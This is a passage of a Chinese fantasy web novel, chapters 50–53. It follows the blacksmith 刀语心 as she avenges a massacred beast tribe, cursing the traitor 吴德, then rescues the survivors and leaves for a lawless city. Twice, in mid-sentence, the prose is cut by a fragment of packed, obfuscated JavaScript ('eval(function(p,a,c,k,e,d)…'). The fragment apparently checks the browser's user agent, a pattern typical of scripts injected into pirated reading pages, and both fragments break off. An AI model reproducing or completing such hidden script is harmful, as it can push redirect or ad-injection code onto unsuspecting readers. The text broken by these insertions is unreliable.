说着刀语心打量着周围,这里是卫队外用来临时关押犯人的地方,谢止沉似乎在充当守卫者的角色。 只是为什么那些人缩在最里面眼中也满是惊恐,见到刀语心像是见到救星一样不断散发着求助的目光。 “我很好。”注意到刀语心的视线朝向身后,谢止沉侧身扫视过去,那些人急忙移开视线。 “我没做什么,只是扼杀他们想要作恶的念头而已。”担心自己给刀语心留下不好印象的谢止沉解释着。 “辛苦你了。”刀语心完全不想主持公道,换句话说她是站在谢止沉这边的。 等卫队的人忙完前来交接后,他们走在回家的路上。 “这箱子装了什么?我帮你拿吧。”谢止沉察觉刀语心手上的提箱重量有些不同寻常,不过他没有多问刀语心为什么不放进空间的。 “是金条!我要把它们放在我的床头垒起来展示几天。”边将箱子交给谢止沉,刀语心边解释道。 之后大概就要离开无名镇了,刀语心也没有这种能安心将东西放在身边的机会。 所以说这箱金条其实是刀语心的战利品,谢止沉将它小心提好。 “说起来,你之后打算去哪里寻找材料?”刀语心问道,在锻造出谢止沉需要的禁锢装置之前,他们应该还会同行一段时间。 “我没什么想法,我想你大概也是?”说着,谢止沉看向身旁之人。 收到目光的刀语心点头。 她离开无名镇的目的是找到解决诅咒的办法,如今下咒之人的线索指向中央城,不过刀语心很清楚,即便自己进步飞速,但还远远不到能硬碰硬的程度。 “你还记得我们在地下遗迹找到的地图吗?或许我们可以一起去看看。” “没问题。”她答应下来。 比起急需补觉的刀语心,其他大多数人在战斗过后都处在一种兴奋当中。 不知是谁先提出“办个庆功宴”这样的想法,但随着时间的推移一传十十传百,前所未有的各方势力都打算聚集在卫队的营地开始庆贺。 身为这次胜利的关键核心,刀语心自然是必不可少的一员。 这场庆功宴并不是什么论功行赏的会议,只是众人聚在一起,享受美好时光的一个途径。 隔天傍晚时分,休息够了的刀语心和谢止沉才走到卫队不远处,就有不少人和刀语心打招呼。 虽然卫队众人都对刀语心抱有强烈的感激之情,但在裴瑛的再三勒令之下,他们被迫放弃一见面就把刀语心团团围住举起高抛的想法。 并不是裴瑛过度敏感,这样的事曾经有过,然后刀语心连续整整一个月不曾踏入卫队门槛。 刀语心不太习惯接收别人的纯粹善意。 但比起过去现在已经好了很多,至少她身边已经有了三五好友。 “刀语心——” 一眼穿过人群看到刀语心的身影后,绿绮就快步来到她另一侧身旁,将手中的东西递在刀语心面前,“给你,我觉得这个很好吃。” 这是绿绮特地给刀语心留下的小蛋糕,刚一上桌就被哄抢一空。 “谢谢。”刀语心没客气,拿到手后她就咬了一口,虽然不是什么精心制作耗时许 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但谢止沉有牌也不出,心甘情愿被刀语心扣血。 看谢止沉不爽的另外二人不约而同地调转势头开始进攻,但也恰巧掉入陷阱,因为忙着端水的刀语心主动帮谢止沉还击分担压力。 “歹毒啊!歹毒!” “你们也太没牌品了。” 忽然间众人视线中闪过白芒,但不过毫秒就消失无踪。 “这是……传送阵?”绿绮有些不确定地说道,这也让刀语心明白自己刚才并不是出现了幻觉。 “迟大少,会长想找你聊聊。”宋齐也在这时前来传话,同样身为领导人不便于出面,罗茜此刻和裴瑛在二楼交谈。 听见这称呼的迟明煦起了一身鸡皮疙瘩, “宋少爷您还是别挤兑我了。”和几人简单告别后他随宋齐离开。 一阵夜风吹起纸牌,没等绿绮伸手抓住最后一张,终端上传来的通讯打断了她的动作,只能眼睁睁看着纸牌飘落进火堆。 “小祖宗!你去哪里了?”身为绿绮监护人的副官在四处找寻她的踪迹。 “哎呀,我在卫队这边。”绿绮边说,边和刀语心挥手示意,匆匆跑开出去找她的副官。 不知不觉间圆月悬在夜空,刀语心也打算走了。 她看向谢止沉,和对方对上视线,而谢止沉也明白刀语心的想法。 “我们也回去吧。” 在回去的路上,那突如其来的光亮一直在刀语心脑海中久久不散,她心底莫名涌现着不安的情绪。 “是神殿的人。”流光已经给谢止沉带来了消息,“他们来了。” 话音刚落,街道尽头出现一群身披白袍的人,他们正向刀语心所在方向疾行而来。 距离不断被压缩,刀语心手搭上剑柄思考他们究竟为谁而来。 前不久她借神殿之手重创救世会,但刀语心知道他们找不到自己,追踪源头信号只会得到一串乱码,若是为谢止沉而来,这阵仗也有些说不通,就这点人应该挡不住他。 来到二人面前,神殿众人齐刷刷停下步调。 大部分人停在不远处唯独一人没有停歇,迎面走来的过程中那人掀开兜帽,露出一张刀语心意想不到的面容。 “许久不见,大概有七八年了吧。”出声之人和刀语心年纪差不多大但二人气质大相径庭,虚假至极的笑容和浮夸的肢体动作,都在证明有神殿作为靠山的他小人得志。 这人是吴阿婆之子吴德,刀语心记得他,前些年随着主教离开无名镇就再没有回来,刀语心和他没什么好说的,大多是童年时期的旧怨。 “你来干什么?” “别这么着急嘛,你看,这是什么?”他伸出手,一个物件随之垂落。 染血、破损……本该在玄风身上的护心镜,此刻被吴德随意拿在手中向刀语心展览。 看清楚那物件的模样后谢止沉皱眉,他转身急切地看着刀语心。 只见月光打在刀语心那毫无表情的面上。 51. 第 51 章 不该是这样。 那双眼中没有任何情绪的存在,但谢止沉知道刀语心不可能毫无波动,他清楚地记得刀语心在异兽祭典那天晚上说的话,还有那些包含在话语中的热切期望。 本不该是这样。 初见刀语心的情景和此刻重合,那冰冷无光的眼神让她整个人如机器般空洞,如今她好不容易拥有些许情感,她找到自己想要追寻的事物,对锻造的态度也不再是一昧厌恶。 但是现在这一切被全数毁灭。 “因为你锻造出半神阶以上的造物,他们才会死去。”观看好戏的吴德还在不停煽动。 她锻造出用于保护的护心镜,却成为索命的魔咒,他故意将这个血淋淋的事实摆在刀语心面前。 杀掉他。 这是谢止沉此刻唯一的念头。 杀意喷涌而出,但在流光将吴德撕碎的前一刻,谢止沉感受到手腕间多了冰冷至极的触感,刀语心按住他的动作。 “不,不是现在。”那双眼中依然毫无波动。 人是被过去所塑造的,幼年时期的成长经历已经无数次告诉过刀语心情绪是无用的,她很清楚如果谢止沉在这里出手杀死吴德,那么局面会变得更加混乱无序。 那样并不是有利于她的情况,刀语心也不愿让谢止沉和其他人承担如此大的风险。 短短一瞬的举动也让吴德察觉出异样,他敢孤身一人大摇大摆来刀语心面前卖弄,也不是毫无准备。 只见他后退抬手掷出一物。 浑身镀满灿烂金光,打造精美的叶片悬在空中,随即,一道灿烈光柱穿透云层自天而降落在刀语心之上,但被无数光芒包裹的刀语心,只剩无数的冷寂。 一切异动都没有分去她的视线,她从始至终,都在死死盯着吴德。 看着那双眼吴德本能感受到恐惧,但随后他按住自己颤抖的手恶狠狠地瞪回去,他已然明白即便天赋异禀悟性远超常人,刀语心也和他没什么不同。 他们都是供神明取乐的棋子。 想到这里,他脸上挂起得意的笑容说:“身为唯二能够锻造出半神阶装备的锻造师,神赐予你觐见祂的权力。” 另一位就是他的母亲,由于力量被神所忌惮不得不自刎而死保全整个救世会,思及至此吴德眼中闪过暗沉,但很快消失不见。 至少他也用这样的方式,让刀语心感受到相同的痛苦。 “在神降日去往观礼,不要妄想逃走,否则你将受到整个神域的追杀。感谢神的荣恩吧……这是你的荣幸。” 说完吴德还以为自己会听见刀语心口中传来恐惧的质问以及愤怒,但什么都没有。 只见刀语心抬手,将神令攥在掌中,她掐灭那无休止绽放的光芒。 由神令引起的异象太过震撼,以至于吸引了无数的视线,本在参加宴会的人也纷纷看向此处,裴瑛和绿绮也在第一时间赶到刀语心的身旁。 光芒散去神令完成绑定,吴德重新披上斗篷,和其他神殿之人一起离开。 “刀语心!你没事吧?” “怎么了?神殿那些人为什么找上了你?” 二人话语中都是担忧,她们也听到了吴德口中的觐见,想到有关那位神明的传言,所谓的觐见,恐怕并不是什么恩赐。 看着吴德离开后,刀语心垂眼尽力不让自己显出异样。 “我没事的,祂想要让我前去觐见。”虽然才分别不久,语调似乎也没有什么改变,但她们能感受到刀语心此刻的状态很不对,至少绝不应该是她显示出的那种平静。 “我有些累,就先回去了。”说完,刀语心就先一步离开,原先她停留的地方只余几滴血迹。 得不到解答的二人只得将视线投向一直陪在刀语心身边的谢止沉,而他脸上也是同样的忧虑。 他说:“异兽被神殿灭族了。” 说完,他就追上刀语心离开的身影。 刀语心的步伐不快,看起来和平时没什么两样,但只是看起来而已。 一把握住她的手腕,谢止沉截停刀语心未曾停歇的脚步,他将刀语心死死攥在掌心刺伤自己的叶片令牌拿开,以免她继续伤害自己。 “啊……抱歉,让你担心了。”一直沉寂在自己思绪之中的刀语心并没有注意到这一点疼痛。 “不,不用和我道歉。” 安慰的话语怎么也说不出口,谢止沉第一次觉得言语是那么无力的东西。 那失焦的视线重新定位在谢止沉身上,刀语心停顿片刻后组织出语言:“我没事的,我想一个人待一会,放心吧,先前只是没注意,我不会再伤害自己。” 对此,谢止沉只能陪着她回家,目送刀语心关上房门。 他知道自己需要做些什么。 只是过度使用力量的确会暴露自己,刀语心也很明显不希望他这么做。 过往和翼蜥龙裔接触过的所有回忆在他脑海中重现,他不断寻找着方法,想要找到能够解决当前局面的信息。 族群的延续对族长而言,是妻子临终嘱托…… 那么族长绝不会坐以待毙。 再转眼,谢止沉就来到异兽部落,和前不久见到的生机盎然不同,一切都被毁灭殆尽。 到处都是被破坏的房屋,以及一地没有任何处理的尸体,风沙从屏障中漏出,只需要时间的流逝,沙漠会将这里的一切掩埋同化,再无任何族群生活过的痕迹。 一路上,谢止沉都在确认是否还有生还者,只是奇迹并没有发生。 他来到墓碑旁,果不其然族长化作异兽本相躺在那里。一阵风吹过,一片枯叶即将落在墓碑上,但似乎被什么东西阻挡下来无法触碰。 “您来了。”虚幻的影子出现在谢止沉面前,老族长已经死了,但灵魂还残留于此地。 “数量和尸体对不上,其他异兽是死了,还是被你藏了起来?”谢止沉直截了当地询问着。 “有一部分是,还有一部分逃进邪魔域。” 族长回答着谢止沉的问题,但谢止沉很清楚,族长留在这里不可能只是为了见自己最后一面。 果不其然,灵魂态的族长抬手,一股力量从落叶中找出藏起来的玄风,将她包裹着送到谢止沉面前。 “还请您救下这个孩子。” 因为有护心镜的存在玄风没有受到多少伤害,只是被吴德强行夺走护心镜后被反噬命悬一线,早有准备的族长将她伪装成假死躲过一劫。 “所以,这一切都是你算计好的。”谢止沉语调像淬上一层冰寒。 从刀语心遇到玄风的那一刻开始,她就踏入命运的漩涡,让她不得不承担此刻的结局。 族长知道会发生的一切,但还是选择将刀语心拖入泥潭,让她承受本不该承受的苦痛,这才是谢止沉无法容忍的地方。 面对谢止沉的质问族长并没有急于辩解,他坦荡地承认:“我很抱歉,但这是我们一族最后的生路。” “如果不是将刀语心小姐她也牵扯入其中,等待着我们一族的只有被覆灭的命运。如果您心怀愤怒,就宣泄给我吧。”他留在这里就是为了承担一切后果。 只是谢止沉终究下不去手,他很清楚族长已经付出许多代价。 再说了,最开始是他将族群终将覆灭的预言告知族长,或许在他将看见的命运说出口后,就已经造就出今天的结局。 谢止沉没再多说,带着玄风转身离开。 目送他们离去的族长身形也逐渐消散,在残存于世的最后之际,他抚摸着身旁的墓碑呢喃:“我没有食言,我做到了……” 房间中,那顶由无数羽毛编织出的斗篷反射着光彩,而此刻赠予刀语心这份礼物的异兽们,大概已经不再存在于这个世间。 她只是抱着自己的腿,蜷缩在床的角落,盯着那些在黑暗中的色彩。 她当然没事,她依然完好无损地活着,怎么会有事?只是她本觉得,一切都在慢慢变好,但突如其来的打击又在无比清楚地告诉她: 你什么都无法改变。 甚至,她做了这么多得到的答案却是她将无数生命推向死亡。 异化之力将她整个人包裹起来遮住她的视线,似乎这样能带她脱离这个世界感受片刻静谧,只不过刀语心也明白,逃避无法解决她遇到的所有困境。 吴德必须付出代价。 指尖勾起一丝异化之力不断被她重塑延伸出熟悉的纹路,那是她诅咒的其中一部分,只是很快溃散无法长时间维持更无法完整成型,应该是某个步骤有问题但刀语心目前无从得知。 视线扫过一旁堆起的金条,刀语心将其拿在手中感受着冰冷沉重的触感,但下一秒那抹金黄就在她掌心中消失。 黄金成为推演的祭品,白色棱体散发的光芒照亮着整个房间,空间戒指内无数金币堆成的小山哗啦啦的倒塌,但同时也让刀语心指尖跳动的诅咒越来越稳定。 在耗尽一切之前,刀语心得到自己想要的答案。 她将斗篷细心收起,起身推开门,也恰在这时谢止沉带着玄风出现在她的面前。 他说:“你看,它还活着。” 一时之间,那些被死死按住的情绪终于开始松动,凝成实质的目光颤抖着落在被流光托起的玄风身上,玄风受到的伤势已经被谢止沉治愈完毕,只需要足够的时间她就能恢复原样。 刀语心小心地将玄风接到自己掌心,感受着那虚弱的呼吸,虽然微弱,但玄风的脉搏仍在跳动。 将玄风安置好后,刀语心如同溺水之人重新呼吸到空气,她有种重回人世的恍惚感,至少玄风还活着,她不必背负永无止境的愧疚,她还能够弥补。 回过神后,她侧身看向谢止沉,她开口说:“和我去个地方吧。” 无名镇神殿据点。 报复完刀语心的吴德扬眉吐气,哼着小曲品着红酒,翻看着此行的任务计划。 不过他什么都没看进去,沾沾自喜地沉浸在喜悦。 在刀语心出现之前,他是所有人唯一的期望,只是在吴阿婆把刀语心带回来后,他就从无比璀璨的星辰,成了一个黯淡无光的陪衬品,如果没有刀语心,他依然是救世会年轻一辈中资质天赋最好的。 可偏偏来了个刀语心。 自那之后他就活在阴影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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为了让自己活下来,吴德出卖救世会的其他人得到苟活,但他依然被关押在牢狱中。 直到跟着传召者走过长廊后,吴德来到神明所在的主殿,整个殿堂华美又高洁,他不自知地被吸引向前,只不过还没走几步他就直直跪下去。 “你要的人,我带来了。”传召者的声音自远处传来回响。 “啧,虽然是她的子嗣,但你还真是不怎么样。”只是一眼,高高在上的神明就失去了兴趣,“我的宠物在无名镇死了,去找到杀死他的人,如果找不到的话你就去地狱陪你母亲好了。” “还有,把这个带给她。”神令散发着光芒飘浮到吴德面前。 “你母亲唯一的传人,刀语心。” 再然后吴德就在神子神女的陪同下再度踏上沙漠,他本该直接来到无名镇,却在途中感受到神令共鸣,他明白是刀语心锻造出了半神阶道具。 神女二人只负责保障他的安全,但吴德可以狐假虎威指挥其他神殿侍从,再加上他自己本身就是战斗职业,一番围剿之下他达到自己的目的,将护心镜抢到手中。 将一切告知刀语心,吴德以为她就会放过自己。 共振…… 刀语心在思索,说起来她似乎也感受到了什么,意识空间内职业树的枝桠在不断颤抖摇晃。 是了,她被夺走的天赋就在吴德身上。 久久没有动静,吴德觉得自己逃过了一劫,但紧接着他又被堵上嘴,随即刺骨的恶寒席卷他的每一根神经,灵魂像是要被人扯碎,有什么东西被刀语心活生生撕下。 眼泪混杂血液和汗水不断流下,吴德知道自己失去了他所珍视的天赋,即便他明白那从来不是属于他的东西。 “天赋回归,先天战魂——你的灵魂为战而生。” 做完这一切,她会停手吗? 答案是否定的,诅咒还没有施加在他的身上。 即使视线被血液模糊,吴德依然知道刀语心手中的是不断跳跃的咒文,无尽恐惧席卷他的神经。 他知道那是什么,也见过刀语心诅咒发作的模样,他才不要经受这样的痛苦,他恐惧地摇头想要逃跑,但无力反抗的他注定无法摆脱被诅咒缠上的命运。 最终,吴德倒在地上只剩微弱呼吸,鲜血早已经铺满地面。 走出门外,月光已经隐入云层之中。 做完这一切后缠绕着刀语心的郁结短暂消散,远远谈不上喜悦,她很清楚无论捅吴德多少刀,那些逝去的灵魂都无法再度回归世间。 一直守在门外的谢止沉见刀语心不想说话也没有开口,他只是牵起她的手,为她擦去那些污浊的血迹。 只是突如其来的人影打破这难得的沉寂。 一对穿着神殿统一服饰的男女出现在他们面前,从暗金花纹的复杂程度来看,他们职级不低,大概就是吴德口中的神子神女。 啊,被发现了呢。 刀语心毫无波澜的眼神看着二人。 52. 第 52 章 在深夜闯入神殿领地并不是什么表达友善的行径,再加上刀语心手上的血液还正从指缝中滴落,神殿二人都明白吴德肯定是凶多吉少。 那么发现这一切的他们呢? 察觉在夜色中飘荡的杀意后,神子率先挡在神女身前,只要有一丝异动就会触发大战。 不过刀语心并没有急着灭口,她已经从吴德口中知晓,神殿此行来到无名镇的目的就是为了找到杀死异形者的凶手,也就是谢止沉。 刀语心明白只要她想杀死对方,谢止沉一定会帮自己,但那样保不齐就会暴露谢止沉的身份,她不能让他们得逞。 不过身为神殿高层面前两人不可能是泛泛之辈,先不说刀语心自己以一敌二获胜的概率有多少,即便赢了也难保神殿不会派更加棘手的人出现。 只是不抱着杀死对方为前提的话,局面就有些难以解决。 真烦。 她兴致恹恹地想着。 只是还没等刀语心找到合适的借□□涉,对面就开始动作,神女先一步打破僵硬的局面,她轻轻推开护在自己面前的身影,几步来到刀语心面前。 不在乎刀语心手上的血迹和眼中的警惕,神女径直拉起刀语心垂坠在身侧的左手。 看着那双温柔似水的双眸,刀语心听见她说:“我很抱歉,没有阻止吴德。” “我只能尽我所能救走其中的一小部分,它们暂时被我安置在这个坐标,但碍于身份我行动受限,它们就拜托你了。” 神女言语中的歉意字字真切,眉目间流露悲恸,她传达在刀语心手中的坐标闪着亮光。 “你们走吧,既然神明想要见你,我们便不会对你多加阻拦。”更何况在神女看来,这也是吴德罪有应得。 “……谢谢。” 先前剑拔弩张的氛围消弭后,红光闪过谢止沉就直接带着刀语心离开神殿据点。 再一转眼,他们就来到沙漠之中。 流光消失的瞬间刀语心想到谢止沉不能暴露,她猛然握紧拉着谢止沉的手。 知道刀语心担忧什么的谢止沉轻声开口:“放心,只要不是动用最深层的力量,他们就不会发觉我的身份。” 之所以这么快地离开,也是出于谢止沉自己的私心,他并不想让神女触碰刀语心。 只是在听到解释后,刀语心握着他的力道也没有松懈。 她看着远处的岩洞,那就是坐标上的位置,只是如今刀语心近在咫尺,但心中却不可控制地生出退意,她垂下眼眸说道: “我不敢去见他们。” 逃避是人之本能。 面对超出自己能力范围的困境,以及难以解决的问题,无力感将刀语心吞没。 过去加之于她的那些伤害完全无法让她成为太阳,她也不抱有照亮他人的期望,只是刀语心从不想亏欠什么,但如今异兽族群中无数生命因为她的造物而消逝。 她低头,看着自己手上沾染的血迹,即便这些血液全部来自对吴德的报复,但刀语心总会觉得,自己也是凶手之一。 祭典上听到的欢声笑语,看到的温暖笑容,一切都化为灰烬,她害怕自己受到那些幸存者的指责,她害怕自己昔日得到的善念转化为无数恶意…… 在陷入无止境负面循环之前,一丝触感将她的思绪打断。 视线中血淋淋的手被人握住,上面残留的痕迹也被轻柔地,一点点拭去。 听着那夜风中传来略显破碎的声音,谢止沉明白刀语心并不是想要逃避,更不是不想承担后果,她只是需要一点时间,一点用来缓冲的时间。 等到将一切污浊的痕迹抹去,他抬眼对上刀语心的眼睛,将她被风吹拂的发丝理在耳后,他认真地说道: “这不是你的错。” 那双暗红眼眸中只余刀语心的身影,“你来到这里,是想要帮助他们不是吗?” 谢止沉知道即便刀语心受到斥责,她也会尽力弥补那些已经失去家园的异兽,她不会视而不见,更不会什么都不做的逃跑。 “无论要面对什么,我都会陪你一起。” 如果刀语心不想处理,那么谢止沉会帮她善后,只是大概刀语心并不会给他这个机会,因为刀语心也明白,逃避无法解决问题。 她眨眼,思绪流过后,她回应道:“好。” 深夜,空荡洞穴中是时不时传来低声哭泣,但很快会被抑制住渐渐消失,听着哭声的玄洛也心中悲戚,只是如今充当临时首领的他还需要处理更为棘手的问题。 住房、食物、日常用品…… 他们失去了所有的一切,而且还有身受重伤的族裔,如果再得不到救治,那么等待着他的只会是更多悲鸣。 刹那,陷于愁绪中的玄洛抬眼看向洞口。 他的精神力散发在外铺成一地用于戒备的防线,而此刻有谁踏上,并不断朝着他们所在的地方走来。 不愿打扰好不容易睡去的其他异兽,玄洛悄悄起身向外走去,只是他无法避免所有视线。 随着越接近洞口,玄洛思绪就越是沉重,他不想死去,但他无法预知命运。 命运已经给他开了个难以承担的玩笑,他不知道下一刻究竟会是柳暗花明,还是又迈着步子走向深渊。 从岩洞中的黑暗中走出,月光给大地镀上一层白光,也让他看清视野范围内的人影,玄洛不可置信地愣在原地。 “玄洛……是我。”刀语心停在不远处,她不确定这里是否接受她的到来。 正当玄洛不知该说什么时,他听到身后传来急促的呼吸声,玄洛回头看去,是玄霜拿着武器,不知在他身后跟了多久。 “小霜,等等……” 还没等玄洛把话说完,玄霜就朝刀语心冲了过去。 直到看见玄霜拿着的武器在中途就落在沙地上,玄洛悬着的心才落下,着急阻止的步伐停止,他松了口气。 从前那个冷酷的少女终究还是半大孩子,玄霜只是扑进刀语心的怀里,用眼泪宣泄着苦痛,刀语心什么都没说,只是静静地给予最大限度的拥抱。 “她还活着。” 在此期间,谢止沉带着沉睡的玄风来到玄洛面前。 钦定的继承者没有死去,这多少会给饱受打击的族群带来些许微弱的希望。 见到谢止沉收起流光时那一闪而过的璀璨红眸,玄洛一直以来怀疑的身份也敲下定论,自原本世界中成长的他很清楚族中传唱千年的事迹。 即使被逆反者夺位,但谢止沉才是翼蜥龙裔一族心中的无冕之王。 “感谢您和刀语心小姐的帮助。” 在那场屠杀中,刀语心制造出的保命护符起到至关紧要的作用,时至今日,也有异兽将损毁的护符放在枕边才能入睡。 “走吧,先去治疗伤者。”说着谢止沉收回视线,朝岩洞中走去。 虽然心中有许多不可言说的嫉妒,但他很清楚处理好异兽一族不让刀语心生出心结才是更重要的。 片刻后,漆黑洞口中光芒盛放,无数生机从其中涌现,充满温柔的治愈力量也落在刀语心和玄霜身上。 天际线也亮起日出光晕,空气中的冰寒开始逐渐退却。 等到刀语心进入洞穴时,大多数异兽已经醒来,和她最坏的预想恰恰相反,异兽们如初次见面一样,朝刀语心投来感激的视线。 “族长其实很早就和大家说过,我们的族群会遭遇前所未有的磨难,但现在,我想我们已经度过了最困难的时刻。” 玄霜带着玄雨玄雪守在沉睡不醒的玄风身边,伤势痊愈的异兽们也不再死气沉沉。 “刀语心小姐,感谢你的帮助。如果不是你慷慨给予的保命护符,伤亡数量只会更多。” 所以,她的造物并不是毫无用处。 那些不断用来自我怀疑的言语,如今也不攻自破。 和玄洛交谈完毕后,刀语心才意识到自己没有看到谢止沉的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不仅仅是因为神令,还有刀语心身上的诅咒,那些东西都在不停驱使着她。 “对。”现在就等回到家中确认下一步地点。 绿绮没说什么,只是将一对可爱的布娃娃交到刀语心手里,一个是刀语心的模样,另一个就是绿绮自己。 “祝你一帆风顺……” 绿绮也想开开心心地说出祝福,但一想到之后很长的时间都见不到刀语心,她就止不住地失落。 不想让眼眶中的泪水被刀语心看见,绿绮扑在刀语心怀中,声音闷闷地说:“不知道你什么时候才会再回来,但你一定不要忘了我。” 她也想跟在刀语心身边,但如今身为无名镇救世会的话事人,她也背负着重担。 抱着绿绮,刀语心摸摸她的头安抚道:“不会的。” 即便在此刻分别,但刀语心相信她们终将在更远的未来重逢。 安顿完翼蜥一族后,在清晨时分回归的刀语心走进会议室,迟明煦给予的商会地图蓝本投影在长桌之上,接着一顿操作后,从遗迹密室获得的藏宝图缓缓和地图重合。 在圆弧严丝合缝重叠后,被圈起的“宝藏”范围也清晰明了。 这也是刀语心第一次得见完整的残存区:混乱地界、遗忘之乡……中央城。她的视线扫过地图上标注的地名,最高的高塔矗立在残存区中心,那是中央城的标志。 和蓝色虚影完全相反的金色光芒射入室内,谢止沉带着神令推门而入。 “和你预想的一样吗?” “对,检测出的只有增益属性,但是它无休止地用特定频率向外界传达你所在位置。”如果贸然毁去,还会对所有者造成反噬,在吴德将神令投掷出的那一刻就强行绑定上刀语心。 就算谢止沉想把神令带到别处,或者扔进其他空间,也会重新出现在刀语心身边。 别有用心的定位器。 “但这至少说明,我还有一段苟活的时间。”刀语心不怎么在意,她只是将离得最近的地点标亮,那是离无名镇最近的圆,被圈起的地方是混乱地界。 她更在意眼前的地图,自上而下俯瞰整个残存区的轮廓,无比规整的圆形分割一切。 “所以,这真是个藏宝图吗?”刀语心朝谢止沉问道。 53. 第 53 章 那光滑得近乎诡异的边缘倒映眼中,刀语心只觉得一股荒诞感涌上心头。 为什么是圆?隔绝一切的屏障又是从何而来?残存区外的世界变成什么模样?浩劫为什么会降临,世界改变的真相又是什么? 主教和天启者,以及高高在上的神明,他们究竟想要从她身上得到什么? 无数的问题,杂乱的思绪,在迄今为止的人生中,受困于沙漠被刻意隔绝在外的刀语心对答案一无所获,这也是她必须离开的原因之一。 “这是一种预示。”谢止沉的话语将刀语心的思绪拉回。 他上前,将已有的红圈按照某种规律扩散,残存区各处地图布满大大小小的圈。 “被圈中的地方有些是半神阶以上宝物所在,一部分是异常,就像规定区域的悬赏任务,完成后可以获得报酬。” 但时间同样有限,分分秒秒在不停流动,一个人不可能在有限的时间内走遍所有的圈,尤其刀语心还被神令指派前往神域觐见。 在时间和距离的双重束缚下,原本展现在刀语心面前的地图就是属于她的最佳选择。 “最优解啊。”她低声呢喃。 似乎从她来到这个世界的第一天开始,就有人为她的命运写下注解,一切都被重重叠叠的谜团包裹,命运的齿轮永不停歇。 或许等到刀语心抵达命运预示的终点,答案就会浮现。 可为什么她要沿着既定的命运行走? 选择逃跑?身上的诅咒和神令无时无刻不在威胁着她的生命,她无处可逃。 最优的道路就在眼前,刀语心看着缓缓转动的血色圆圈,她必须在有限的时间内获得力量来对抗一切可能出现的风险,只要拥有足够掀桌的力量,便不用再受到束缚。 命运是一种无法捉摸的东西,她选择与其短暂同行。 或早或晚,她会顺着命运的悬丝,找到并杀死那些妄图操控她的人。 昏黄的落日即将坠入地平线之下,无数灿烂的霞光照映天空,但有两道人影朝着与落日完全相反的方向前行,那是离开大漠的方向。 舍弃对刀语心而言不是一桩难事,再者她并不是永远离开,总有一天她会再度归来。 她把玩着手中蔷薇花形状的暗玉,离别前夕罗茜将属于公会的贡献者勋章交到她手中的同时,将原本给予她的暗玉雕刻成型,二者分别作为这段时间以来帮助罗茜和公会赠礼。 “大概能给你的旅途增加一些便捷,可惜我已经''死了''没办法,现在工会事务由简一管理。” “但很多人都知道你没死。”包括似乎和罗茜不和的迟明煦。 知道刀语心的想法,罗茜只是笑着说:“没关系,我已经和他达成了一项交易。” 插曲到此结束。 刀语心没什么可收拾的行李,珍贵之物一直都被她随身携带,无法带走的只有那些回忆中的人影,还有身体中恋旧的本能。 未知会带来恐惧,比起外面从未踏足过的世界,待在熟悉的地方显然是更好的选择,但刀语心知道,自己不能止步于此。 无数的谜底如同阴影笼罩,在得到答案之前她绝不会停下。 “真的不去和裴队长道别吗?”离开无名镇一段距离后,谢止沉问着身边的刀语心。 对于这个问题刀语心也犹豫了很久,她从未经历过与在乎之人的离别,她不喜欢离别,但她不得不继续向前。 “不了,我会回来的。”刀语心相信这并不是生离死别,也不愿意将这短暂的分别弄得如此隆重。 只不过走出几步,她似有所感,停下转身看向无名镇的方向。 赤色残霞之下人影绰绰,裴瑛、叶冰彦还有明思等人,他们在无言目送着刀语心远去,见刀语心看向他们所在方向,年纪尚小的明思先忍不住举起手挥动。 一些说不清道不明的情感在外溢,她驻足许久,在压抑的不舍反噬之前刀语心率先移开视线,“我们走吧。” 她披上斗篷走进黑夜,再没回头。 层层叠叠的乌云将夜空遮盖,连月光也被尽数吞噬。 淅淅沥沥的雨滴落下,滴落在破旧的墙壁上,周围环境凌乱不堪,但亮起的灯光显示这里是有人居住的,这里过道狭小房屋交叠,找不到源头的线路反复交织。 慌乱的脚步声伴随着急促的呼吸,在小巷中传来,是有人慌不择路地忙着逃命。 该死的,该死的,为什么自己会被盯上! 被称为混乱地界的地方自然是一切污浊的天堂,好事者,恶人,和善对立的一切都聚集于此,混乱无序是他们毕生所求。 只是最近,随着悬赏榜上的通缉令一个个消失,一具具作恶多端的尸体在杂物堆中被发现,那些追寻混乱的人,也开始混乱起来。 但这就是打破秩序的代价,他们理应承受。 不断地奔跑逃命,终于,在雨夜中狂奔的那人再也没有看到身后不祥的黑影。 在他扶着墙大口呼吸时,利刃斩断雨珠,顺便贯穿他的胸膛。 无尽血色晕染着地面,代表着又一个悬赏完成。 收起灭灵剑,刀语心走在回临时住所的路上,她没有打伞,任由那些雨滴打在斗篷上,沾湿自己的发丝。 她伸出手,感受着它带来的冰凉湿润。 在无名镇下雨的时候很少,即便有雨也很快就会停歇,至少在刀语心的记忆里,从没有这样连绵不绝下雨的景象。 水洼溅起,一滴水滴没入路边废弃的老旧收音机中, “滋滋——”耳边有电流声传来,是收音机回光返照般启动。 “……我们终将……于晨、曦下,于……相会~”有些模糊的女声伴随着无数电路灼烧的声音回响在雨夜。 这是歌声? 刀语心的脚步没有停歇,但那段音律已然留在她的脑海中。 在她离开的墙上有一张崭新的悬赏,上面没有任何明确的信息只有一个披着斗篷的黑影:雨夜杀人魔,悬赏五十万金币。 片刻后,“杀人魔”推开了一扇门,等待着她的是一条柔软干净的毛巾。 从无名镇离开来到混乱地界已经有了一段时间,刀语心租下一个地段和装潢还算不错的两居室。 她看着站在自己面前的谢止沉,听着那一声问好:“你回来了。” 或许一个法术就可以将刀语心身上的所有湿气消散,但她不太喜欢,那样便捷但总给她一种难以言明的虚无感。 将外套脱去后,刀语心坐在自己床上披着薄毯,而谢止沉手上拿着干净的毛巾细心给刀语心擦去发丝上的雨水,这一切的准备太过充分像是他早就知道刀语心不会打伞淋着雨回来。 “进度如何了?” “快杀完了。” 抛弃那些因为一点私仇被挂上悬赏榜的“无辜者”,其余罪大恶极犯下无法挽救罪孽的人,都在刀语心用于练手的范围之内。 剩下的目标不多,一个龟缩在营地中的小势力头目,以及混乱地界掌握话语权的最高老大。 这段时间以来一直在用 